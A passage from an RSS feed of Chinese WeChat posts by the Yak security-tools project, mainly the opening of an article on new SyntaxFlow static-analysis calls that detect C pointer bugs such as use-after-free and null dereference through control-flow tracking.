border-box;"><p style="text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(210, 64, 12);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Yakit官网下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;"><span textstyle="" style="font-size: 13px;">Github地址：</span></span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;">Yakit 视频教程：</span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Memfit下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">YTray下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://yaklang.io/ytray/" target="_blank">https://yaklang.io/ytray/</a></span></p></div></div></div></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046540" data-ratio="0.6018518518518519" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ba3ee2fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GqmhT0KTj7lQSbUsaWNLjUeFErMhVXZjlyIv40JfFZnt7YUQlMVmdocXsclgNfWuVpKgWv3sndOArfYbp7zDGxwUibY6qp8Y5M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046539" src="https://wechat2rss.xlab.app/img-proxy/?k=81997205&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FjibGAup6p72Hzk37Y9TTHyPo8pqficiccg3S8nbicUxGPndePmVnBKptHN4WHLKVjvLvjSJImFr2RPOoWfcLVYZrVm0Hib5aAyn8gBeiatbowRV7U%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=887f8461&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530230%26idx%3D1%26sn%3Dbebcf3ee9ca8de7b05dbd6472a0c7a1d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 Sep 2026 16:41:00 +0800</pubDate>
    </item>
    <item>
      <title>指针审计：一组新的 SyntaxFlow Native Call</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530172&amp;idx=1&amp;sn=ac7ea0a574f18837ef5b1044933053f9</link>
      <description>新增指针相关的syntaxflow native call，通过控制流助力分析c语言指针问题</description>
      <content:encoded><![CDATA[<p>原创 <span>Yak</span> <span>2026-09-03 18:27</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2ee2f97b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72HyEZdICC9hf960jIpBbc9iandsYUdYp3ia7QM3jgIfG8P8DmeqpFCe2w2LbJvFfBaZnja8zRd8vCa7netA1mXyeKT1j71O8x5Ak%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>新增指针相关的syntaxflow native call，通过控制流助力分析c语言指针问题</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" style="margin-top: 17px;margin-bottom: 17px;float: none;" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100044331" src="https://wechat2rss.xlab.app/img-proxy/?k=98092d9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZdiaxz5GbodItgmHjwFs0fGAZXuShNL1nBkw4G0V2QO8ZnVOQ7JlrFYZYUfU5Bk3BibsomgmibdYyLKw%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在审计 C 时，我们常常会关注指针相关的问题，名字大家其实都熟：UAF、Double Free、NPD、内存泄漏。 以前写 SyntaxFlow，得自己把 free 捞出来，再去后面翻有没有人还在用。分支一多，规则就不好写。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SyntaxFlow 这边控制流分析一直在补：if 怎么分叉、从 A 能不能走到 B、中间必不经过某次判断，规则里已经能问了。顺着这条能力往下，指针审计也有了新的写法——引擎会跟着这些路径，把每个指针此刻还能不能用、是不是空记下来。规则直接问 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;uaf()&gt;</span></code><span leaf="">、</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;npd()&gt; </span></code><span leaf="">就行，不用自己在规则里把控制流再走一遍。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">目前先覆盖 C 的 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">malloc / calloc / realloc</span></code><span leaf=""> 和 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf="">。</span></p><div data-nest-level="2" data-pm-slice="6 2 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;">一、</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">整体流程</span></strong></p></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">源码先被编译。</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">malloc</span></code><span leaf=""> 记成一次分配，</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf=""> 记成一次释放，</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p</span></code><span leaf=""> 记成一次解引用。</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">if、return</span></code><span leaf=""> 会把函数拆成一段段，连成一张「代码会怎么往下走」的图。</span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtlcryjx1szl" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.501466275659824" data-s="300,640" data-type="png" data-w="682" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046497" src="https://wechat2rss.xlab.app/img-proxy/?k=8c50a695&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HRfcb3x0QOjkoIk8YVKjmIr1BNiartut1ZYgcqcjMfvPQWz11VmuLgVYMAhFfwIicpXNYIicz8rsgiaKGuiaTrq0ObVwXwC1IexuLw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">接着引擎就顺着这张图走。每走到一块代码，就更新这块内存的状态：还活着、已经释放、空还是非空。碰到 if 就分叉记；两条路再并到一起。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">规则这边只负责提问。写 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 